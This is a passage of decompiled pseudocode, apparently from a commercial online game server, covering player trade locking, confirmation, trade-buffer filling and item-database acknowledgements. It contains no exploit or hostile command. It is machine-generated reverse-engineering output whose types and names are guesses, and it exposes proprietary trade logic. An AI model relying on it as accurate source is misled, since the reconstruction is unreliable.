funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S7_56 & 1) ) { _S7_56 |= 1u; stru_130DF9D8.cmc_AllowMode = 126; atexit(_E8_51); } if ( (1 << **(_BYTE **)(v4 + 3568)) & stru_130DF9D8.cmc_AllowMode ) { if ( !*(_DWORD *)(v4 + 68579) || *(_BYTE *)(v4 + 68583) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ : Not activ or already locked", 0); v5 = *(_DWORD *)v4; v8 = 26; v6 = v4; LABEL_10: (*(void (__thiscall **)(int, signed int, signed int))(v5 + 772))(v6, 19, v8); goto LABEL_11; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, *(_DWORD *)(v4 + 68579)) <= 0xF4240 ) { v7 = *(_DWORD *)v4; *(_BYTE *)(v4 + 68583) = 1; (*(void (__thiscall **)(int, signed int, signed int))(v7 + 772))(v4, 19, 27); v6 = *(_DWORD *)(v4 + 68579); v5 = *(_DWORD *)v6; v8 = 28; goto LABEL_10; } ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ"); } //----- (00560380) -------------------------------------------------------- void __thiscall TradeBoard::tb_FillCen(void *this, int playerA, int playerB, int a4, int A, int B, int itemtrade) { void *v7; // esi@1 unsigned int v8; // edi@1 unsigned int v9; // eax@1 unsigned int v10; // ecx@1 unsigned int v11; // edx@1 int v12; // esi@4 int v13; // ST04_4@4 __int64 v14; // qax@4 int v15; // ecx@4 __int64 v16; // qax@5 int v17; // eax@9 int v18; // ST04_4@9 __int64 v19; // qax@9 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_FillCen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_FillCen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = *(_DWORD *)(a4 + 18); v9 = *(_DWORD *)((char *)v7 + 22); v10 = *(_DWORD *)(a4 + 22); v11 = *(_DWORD *)((char *)v7 + 18); if ( v9 < v10 || v9 <= v10 && v11 <= v8 ) { if ( v10 < v9 || v10 <= v9 && v8 <= v11 ) { *(_DWORD *)(itemtrade + 17) = 0; *(_DWORD *)(itemtrade + 21) = 0; *(_DWORD *)(itemtrade + 25) = 0; *(_DWORD *)(itemtrade + 29) = 0; *(_DWORD *)(itemtrade + 33) = 0; *(_DWORD *)(itemtrade + 37) = 0; goto LABEL_11; } v12 = itemtrade; *(_DWORD *)(itemtrade + 21) = (__PAIR__(v10, v8) - __PAIR__(v9, v11)) >> 32; v17 = *(_DWORD *)(itemtrade + 21); *(_DWORD *)(itemtrade + 17) = v8 - v11; v18 = *(_DWORD *)(itemtrade + 17); *(_BYTE *)(itemtrade + 16) = 66; (*(void (__stdcall **)(_DWORD, int, int, signed int))(**(_DWORD **)(A + 14) + 64))( *(_WORD *)(playerA + 22), v18, v17, 1); (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, signed int))(**(_DWORD **)(B + 14) + 64))( *(_WORD *)(playerB + 22), *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), -1); LODWORD(v19) = (*(int (**)(void))(**(_DWORD **)B + 1072))(); *(_QWORD *)(v12 + 25) = v19 - *(_QWORD *)(v12 + 17); v15 = *(_DWORD *)A; } else { v12 = itemtrade; *(_QWORD *)(itemtrade + 17) = __PAIR__(v9, v11) - __PAIR__(v10, v8); v13 = *(_DWORD *)(itemtrade + 17); *(_BYTE *)(itemtrade + 16) = 65; (*(void (__stdcall **)(_DWORD, int, _DWORD, signed int))(**(_DWORD **)(A + 14) + 64))( *(_WORD *)(playerA + 22), v13, (__PAIR__(v9, v11) - __PAIR__(v10, v8)) >> 32, -1); (*(void (__stdcall **)(_DWORD, _DWORD, _DWORD, signed int))(**(_DWORD **)(B + 14) + 64))( *(_WORD *)(playerB + 22), *(_DWORD *)(v12 + 17), *(_DWORD *)(v12 + 21), 1); LODWORD(v14) = (*(int (**)(void))(**(_DWORD **)A + 1072))(); *(_QWORD *)(v12 + 25) = v14 - *(_QWORD *)(v12 + 17); v15 = *(_DWORD *)B; } LODWORD(v16) = (*(int (**)(void))(*(_DWORD *)v15 + 1072))(); *(_QWORD *)(v12 + 33) = *(_QWORD *)(v12 + 17) + v16; LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillCen"); } //----- (00560550) -------------------------------------------------------- char __thiscall TradeBoard::tb_Get(void *this, int idx) { void *v2; // esi@1 char v3; // bl@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)idx < 12 ) v3 = *((_BYTE *)v2 + *(_DWORD *)idx + 6); else v3 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); return v3; } //----- (005605C0) -------------------------------------------------------- char __thiscall TradeBoard::tb_Next(void *this, int idx) { void *v2; // esi@1 int v3; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Next"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Next"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)idx < 12 ) { v3 = *(_DWORD *)idx + 1; *(_DWORD *)idx = v3; if ( *((_BYTE *)v2 + v3 + 6) != -1 ) { LABEL_5: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Next"); return 1; } while ( 1 ) { ++v3; *(_DWORD *)idx = v3; if ( v3 >= 12 ) break; if ( *((_BYTE *)v2 + v3 + 6) != -1 ) goto LABEL_5; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Next"); return 0; } //----- (005606A0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { void *v3; // esi@1 int v4; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol); if ( v3 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3) == *(_DWORD *)&netcmd[2].protocol ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v4 + 40))(v4, netcmd[4].protocol); ShineObjectClass::ShineObject::so_CloseTradeMenu(v3); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 776))(v3, 19, 35, netcmd[5].protocol); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK"); } //----- (00560790) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { void *v3; // esi@1 int v4; // eax@3 int v5; // ST04_4@4 DebugLogging *v6; // eax@4 DebugLogging *v7; // eax@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, netcmd[1].protocol); if ( v3 && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 836))(v3) == *(_DWORD *)&netcmd[2].protocol ) { v4 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); if ( !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 32))( v4, v3, netcmd[4].protocol, 0) ) { v5 = netcmd[4].protocol; v6 = DebugLogging::operator<<(&LockIndexLog, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK : "); v7 = DebugLogging::operator<<(v6, v5); DebugLogging::operator<<(v7, &deb_LF); } ShineObjectClass::ShineObject::so_CloseTradeMenu(v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK"); } //----- (005608A0) -------------------------------------------------------- char __thiscall TradeBoard::tb_Home(void *this, int idx) { void *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Home"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Home"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)idx = -1; v3 = TradeBoard::tb_Next(v2, idx); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Home"); return v4; } //----- (00560950) -------------------------------------------------------- char __stdcall TradeBoard::tb_FillTradeBuffer(int playerA, int playerB, int cellA, int cellB) { int v4; // ebp@1 int v5; // edx@1 int v6; // eax@1 int v7; // ecx@1 int v8; // eax@2 int v9; // ebx@4 int v10; // edx@4 int v11; // eax@4 int v12; // ecx@4 int v13; // eax@5 int v14; // edx@7 int v15; // eax@7 int v16; // ecx@7 int v17; // eax@7 int v18; // esi@7 int v19; // edi@8 signed int v20; // eax@8 int v21; // edi@11 signed int v22; // eax@11 int v23; // ecx@14 int v24; // edi@15 int v25; // ecx@18 int v26; // ecx@18 __int16 v27; // ax@19 int v28; // eax@21 int v29; // ecx@21 int v30; // ecx@21 int v31; // eax@25 int v32; // ecx@25 __int16 v33; // ax@26 int v34; // ecx@28 int v35; // ecx@28 int v36; // edx@28 int v37; // edi@30 int v38; // edx@32 int v39; // ecx@32 int v40; // eax@32 int v41; // ecx@32 signed __int16 v42; // ax@33 char emptyslotfoundB; // [sp+30h] [bp-5Ah]@7 char emptyslotfoundA; // [sp+31h] [bp-59h]@7 ITEM_INVEN invA; // [sp+32h] [bp-58h]@7 ITEM_INVEN invB; // [sp+36h] [bp-54h]@7 int boardidxA; // [sp+3Ah] [bp-50h]@7 int boardidxB; // [sp+3Eh] [bp-4Ch]@7 FunctionEntarance _; // [sp+42h] [bp-48h]@1 int *ibieB; // [sp+46h] [bp-44h]@7 int v52; // [sp+4Ah] [bp-40h]@7 int v53; // [sp+4Eh] [bp-3Ch]@7 int *ibieA; // [sp+52h] [bp-38h]@7 int v55; // [sp+56h] [bp-34h]@7 int v56; // [sp+5Ah] [bp-30h]@7 int ibieBtmp; // [sp+5Eh] [bp-2Ch]@4 int v58; // [sp+62h] [bp-28h]@4 int v59; // [sp+6Ah] [bp-20h]@7 int ibieAtmp; // [sp+6Eh] [bp-1Ch]@1 int v61; // [sp+72h] [bp-18h]@1 int v62; // [sp+7Ah] [bp-10h]@4 int v63; // [sp+86h] [bp-4h]@1 unsigned __int8 playerAa; // [sp+8Eh] [bp+4h]@12 int playerAb; // [sp+8Eh] [bp+4h]@24 unsigned __int8 playerBa; // [sp+92h] [bp+8h]@9 int playerBb; // [sp+92h] [bp+8h]@29 int cellAa; // [sp+96h] [bp+Ch]@17 _.fe_FunctionCode = "TradeBoard::tb_FillTradeBuffer"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_FillTradeBuffer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = playerA; v5 = **(_DWORD **)playerA; v63 = 0; v6 = (*(int (**)(void))(v5 + 1172))(); v7 = *(_DWORD *)(playerA + 10); ibieAtmp = (int)&ItemBoxIterator::_vftable_; v61 = v7; if ( v6 ) v8 = (*(int (__stdcall **)(int))(*(_DWORD *)v7 + 4))(v6); else v8 = (*(int (**)(void))(*(_DWORD *)v7 + 8))(); v62 = v8; ibieAtmp = (int)&ItemBoxIterEmpty::_vftable_; v9 = playerB; v10 = **(_DWORD **)playerB; LOBYTE(v63) = 1; v11 = (*(int (**)(void))(v10 + 1172))(); v12 = *(_DWORD *)(playerB + 10); ibieBtmp = (int)&ItemBoxIterator::_vftable_; v58 = v12; if ( v11 ) v13 = (*(int (__stdcall **)(int))(*(_DWORD *)v12 + 4))(v11); else v13 = (*(int (**)(void))(*(_DWORD *)v12 + 8))(); v59 = v13; ibieBtmp = (int)&ItemBoxIterEmpty::_vftable_; v14 = **(_DWORD **)playerA; LOBYTE(v63) = 2; v15 = (*(int (**)(void))(v14 + 2004))(); ibieA = &ibieAtmp; v16 = *(_DWORD *)playerB; v55 = v15; v56 = 9; v17 = (*(int (**)(void))(*(_DWORD *)v16 + 2004))(); ibieB = &ibieBtmp; v52 = v17; v53 = 9; emptyslotfoundA = InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&ibieA); emptyslotfoundB = InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&ibieB); TradeBoard::tb_Home(*(void **)(playerA + 18), (int)&boardidxA); TradeBoard::tb_Home(*(void **)(playerB + 18), (int)&boardidxB); v18 = cellA; invB.Inven = invB.Inven & 0x3FF | 0x2400; invA.Inven = invA.Inven & 0x3FF | 0x2400; while ( 1 ) { v19 = *(_DWORD *)(v4 + 18); FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; v20 = boardidxA; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; playerBa = v20 < 12 ? *(_BYTE *)(v19 + v20 + 6) : -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); v21 = *(_DWORD *)(v9 + 18); FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "TradeBoard::tb_Get"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "TradeBoard::tb_Get"; v22 = boardidxB; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; playerAa = v22 < 12 ? *(_BYTE *)(v21 + v22 + 6) : -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_Get"); invA.Inven ^= (invA.Inven ^ playerBa) & 0x3FF; v23 = *(_DWORD *)v4; invB.Inven ^= (invB.Inven ^ playerAa) & 0x3FF; if ( playerBa >= (*(int (**)(void))(*(_DWORD *)v23 + 1160))() ) break; v24 = (***(int (__stdcall ****)(_DWORD))(v4 + 10))(playerBa); if ( !(*(_WORD *)(v24 + 8) != -1) ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); *(_WORD *)cellB = 2117; goto LABEL_42; } if ( playerAa < (*(int (**)(void))(**(_DWORD **)v9 + 1160))() ) { cellAa = (***(int (__stdcall ****)(_DWORD))(v9 + 10))(playerAa); if ( *(_WORD *)(cellAa + 8) != -1 ) { *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = playerBa; v25 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v25 + v18 + 42) = *(_DWORD *)v24; *(_DWORD *)(v25 + v18 + 46) = *(_DWORD *)(v24 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = *(_WORD *)(v24 + 8); v26 = *(_DWORD *)(v24 + 112); if ( v26 ) v27 = (*(int (__stdcall **)(int))(*(_DWORD *)v26 + 24))(v24 + 8); else v27 = 0; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = v27; (*(void (__stdcall **)(_DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v4 + 14) + 56))( *(_WORD *)(v4 + 22), v24, cellAa, &invA, &invA); v28 = cellAa; *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = playerAa; v29 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v29 + v18 + 55) = *(_DWORD *)cellAa; *(_DWORD *)(v29 + v18 + 59) = *(_DWORD *)(cellAa + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = *(_WORD *)(cellAa + 8); v30 = *(_DWORD *)(cellAa + 112); if ( v30 ) { LOWORD(v30) = (*(int (__stdcall **)(int))(*(_DWORD *)v30 + 24))(cellAa + 8); v28 = cellAa; } *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = v30; (*(void (__thiscall **)(_DWORD, _DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v9 + 14) + 56))( *(_DWORD *)(v9 + 14), *(_WORD *)(v9 + 22), v28, v24, &invB, &invB); goto LABEL_36; } AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); *(_WORD *)cellB = 2117; LABEL_42: --funcallanalizer.fca_stackpoint; ibieBtmp = (int)&ItemBoxIterator::_vftable_; ibieAtmp = (int)&ItemBoxIterator::_vftable_; v63 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); return 0; } playerAb = (**(int (__stdcall ***)(_DWORD))ibieB[1])(ibieB[2]); if ( !emptyslotfoundB ) { *(_WORD *)cellB = 2121; goto LABEL_42; } *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = playerBa; v31 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v31 + v18 + 42) = *(_DWORD *)v24; *(_DWORD *)(v31 + v18 + 46) = *(_DWORD *)(v24 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = *(_WORD *)(v24 + 8); v32 = *(_DWORD *)(v24 + 112); if ( v32 ) v33 = (*(int (__stdcall **)(int))(*(_DWORD *)v32 + 24))(v24 + 8); else v33 = 0; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = v33; (*(void (__stdcall **)(_DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v4 + 14) + 48))( *(_WORD *)(v4 + 22), v24, &invA, &invA); *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = *((_BYTE *)ibieB + 8); v34 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v34 + v18 + 55) = -1; *(_DWORD *)(v34 + v18 + 59) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = 0; v35 = *(_DWORD *)(v9 + 14); v36 = *(_WORD *)(v9 + 22); invB.Inven ^= (invB.Inven ^ *((_WORD *)ibieB + 4)) & 0x3FF; (*(void (__stdcall **)(int, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v35 + 56))( v36, playerAb, v24, &invB, &invB); emptyslotfoundB = InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&ibieB); LABEL_36: ++*(_BYTE *)(v18 + 41); TradeBoard::tb_Next(*(void **)(v4 + 18), (int)&boardidxA); TradeBoard::tb_Next(*(void **)(v9 + 18), (int)&boardidxB); } playerBb = (**(int (__stdcall ***)(_DWORD))ibieA[1])(ibieA[2]); if ( playerAa < (*(int (**)(void))(**(_DWORD **)v9 + 1160))() ) { v37 = (***(int (__stdcall ****)(_DWORD))(v9 + 10))(playerAa); if ( !(*(_WORD *)(v37 + 8) != -1) ) { AssertClass::ac_AssertFail(&shineassert, "TradeBoard::tb_FillTradeBuffer : Trade empty", 0); goto LABEL_42; } if ( !emptyslotfoundA ) { *(_WORD *)cellB = 2121; goto LABEL_42; } *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 54) = *((_BYTE *)ibieA + 8); v38 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v38 + v18 + 42) = -1; *(_DWORD *)(v38 + v18 + 46) = -1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 50) = -1; *(_WORD *)(26 * (*(_BYTE *)(v18 + 41) + 2) + v18) = 0; v39 = *(_DWORD *)(v4 + 14); invA.Inven ^= (invA.Inven ^ *((_WORD *)ibieA + 4)) & 0x3FF; (*(void (__stdcall **)(_DWORD, int, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v39 + 56))( *(_WORD *)(v4 + 22), playerBb, v37, &invA, &invA); *(_BYTE *)(26 * *(_BYTE *)(v18 + 41) + v18 + 67) = playerAa; v40 = 26 * *(_BYTE *)(v18 + 41); *(_DWORD *)(v40 + v18 + 55) = *(_DWORD *)v37; *(_DWORD *)(v40 + v18 + 59) = *(_DWORD *)(v37 + 4); *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 63) = *(_WORD *)(v37 + 8); v41 = *(_DWORD *)(v37 + 112); if ( v41 ) v42 = (*(int (__stdcall **)(int))(*(_DWORD *)v41 + 24))(v37 + 8); else v42 = 1; *(_WORD *)(26 * *(_BYTE *)(v18 + 41) + v18 + 65) = v42; (*(void (__stdcall **)(_DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(**(_DWORD **)(v9 + 14) + 48))( *(_WORD *)(v9 + 22), v37, &invB, &invB); emptyslotfoundA = InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&ibieA); goto LABEL_36; } --funcallanalizer.fca_stackpoint; ibieBtmp = (int)&ItemBoxIterator::_vftable_; ibieAtmp = (int)&ItemBoxIterator::_vftable_; v63 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "TradeBoard::tb_FillTradeBuffer"); return 1; } // 63677C: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (005610D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // edi@5 int v6; // eax@14 int v7; // ecx@15 int v8; // eax@15 int v9; // edx@15 int v10; // ebp@17 int v11; // edx@17 int v12; // edx@17 int v13; // eax@17 int v14; // edx@17 int v15; // ebx@17 int v16; // eax@17 unsigned int v17; // eax@17 int v18; // edx@17 int v19; // eax@17 void *v20; // edi@17 int v21; // edx@17 int v22; // edx@17 int v23; // eax@17 int v24; // edx@17 unsigned int v25; // eax@17 int v26; // edx@17 __int16 v27; // ax@17 int v28; // edx@17 int v29; // eax@17 int v30; // eax@17 int v31; // ebx@17 int v32; // eax@17 int v33; // ebx@17 int v34; // eax@17 int v35; // eax@17 int v36; // ebp@18 int v37; // ST14_4@19 char v38; // al@19 ZoneBaseSession *v39; // eax@20 char v40; // al@21 unsigned int v41; // ST14_4@22 unsigned __int64 v42; // ST0C_8@22 CCharacterTitleZone *v43; // eax@22 unsigned int v44; // ST14_4@22 unsigned __int64 v45; // ST0C_8@22 CCharacterTitleZone *v46; // eax@22 unsigned int v47; // ST14_4@24 unsigned __int64 v48; // ST0C_8@24 CCharacterTitleZone *v49; // eax@24 unsigned int v50; // ST14_4@24 unsigned __int64 v51; // ST0C_8@24 CCharacterTitleZone *v52; // eax@24 const char *v53; // [sp+4h] [bp-68h]@7 char *v54; // [sp+8h] [bp-64h]@4 int v55; // [sp+8h] [bp-64h]@7 void *err; // [sp+1Ch] [bp-50h]@17 FunctionEntarance _; // [sp+20h] [bp-4Ch]@1 int v58; // [sp+24h] [bp-48h]@5 char B; // [sp+28h] [bp-44h]@17 int v60; // [sp+2Ah] [bp-42h]@17 unsigned int nTo; // [sp+2Eh] [bp-3Eh]@17 __int16 v62; // [sp+32h] [bp-3Ah]@17 int v63; // [sp+36h] [bp-36h]@18 int v64; // [sp+38h] [bp-34h]@17 __int16 v65; // [sp+3Ch] [bp-30h]@17 int v66; // [sp+3Eh] [bp-2Eh]@17 int A; // [sp+42h] [bp-2Ah]@17 int v68; // [sp+46h] [bp-26h]@17 unsigned int nFrom; // [sp+4Ah] [bp-22h]@17 __int16 v70; // [sp+4Eh] [bp-1Eh]@17 int v71; // [sp+52h] [bp-1Ah]@18 int v72; // [sp+5Ah] [bp-12h]@18 int v73; // [sp+68h] [bp-4h]@1 v4 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v73 = 0; if ( !(_S9_20 & 1) ) { _S9_20 |= 1u; stru_130DF9E0.cmc_AllowMode = 126; atexit(_E10_19); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & stru_130DF9E0.cmc_AllowMode) ) { v73 = -1; v54 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ"; LABEL_29: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v54); return; } v5 = v4 + 68579; v58 = *(_DWORD *)(v4 + 68579); if ( !v58 || *(_BYTE *)(v4 + 68584) ) { v55 = 0; v53 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ : Not activ or already decide"; LABEL_11: AssertClass::ac_AssertFail(&shineassert, v53, v55); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 19, 32); LABEL_28: v73 = -1; v54 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ"; goto LABEL_29; } if ( !*(_BYTE *)(v4 + 68583) || !*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v58 + 800))(v58) + 4) ) { v55 = 0; v53 = "ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ : Not lock"; goto LABEL_11; } if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v58) > 0xF4240 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v4 + 57880) + 20))(v4 + 57880) || (v6 = (*(int (__thiscall **)(int))(*(_DWORD *)v58 + 2004))(v58), (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 20))(v6)) ) { ShineObjectClass::ShinePlayer::sp_tradebreak((void *)v4); goto LABEL_28; } v7 = *(_DWORD *)v5; *(_BYTE *)(v4 + 68584) = 1; v8 = (*(int (**)(void))(*(_DWORD *)v7 + 800))(); v9 = *(_DWORD *)v4; if ( *(_BYTE *)(v8 + 5) ) { (*(void (__thiscall **)(int, signed int))(v9 + 772))(v4, 19); (*(void (**)(void))(**(_DWORD **)v5 + 772))(); v10 = (int)(gpp.pp_Buffer + 2); *(_WORD *)gpp.pp_Buffer = 13371; *(_BYTE *)(v10 + 41) = 0; v11 = *(_DWORD *)v4; v64 = v4; *(_DWORD *)(v10 + 2) = (*(int (__thiscall **)(int))(v11 + 836))(v4); *(_WORD *)v10 = *(_WORD *)(v4 + 4); v12 = *(_DWORD *)v4; v65 = *(_WORD *)(v4 + 4); v66 = (*(int (__thiscall **)(int))(v12 + 836))(v4); v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1144))(v4); v14 = *(_DWORD *)v4; A = v13 + 3368; v15 = (*(int (__thiscall **)(int))(v14 + 2004))(v4); v16 = *(_DWORD *)v4; v68 = v15; v17 = (*(int (__thiscall **)(int))(v16 + 800))(v4); v18 = *(_DWORD *)v4; nFrom = v17; v19 = (*(int (__thiscall **)(int))(v18 + 2004))(v4); v20 = *(void **)v5; v21 = *(_DWORD *)v20; v70 = *(_WORD *)(v19 + 4); err = v20; *(_DWORD *)(v10 + 8) = (*(int (__thiscall **)(void *))(v21 + 836))(v20); *(_WORD *)(v10 + 6) = *((_WORD *)v20 + 2); v22 = *(_DWORD *)v20; LOWORD(_.fe_FunctionCode) = *((_WORD *)v20 + 2); *(&_ + 2) = (FunctionEntarance)(*(int 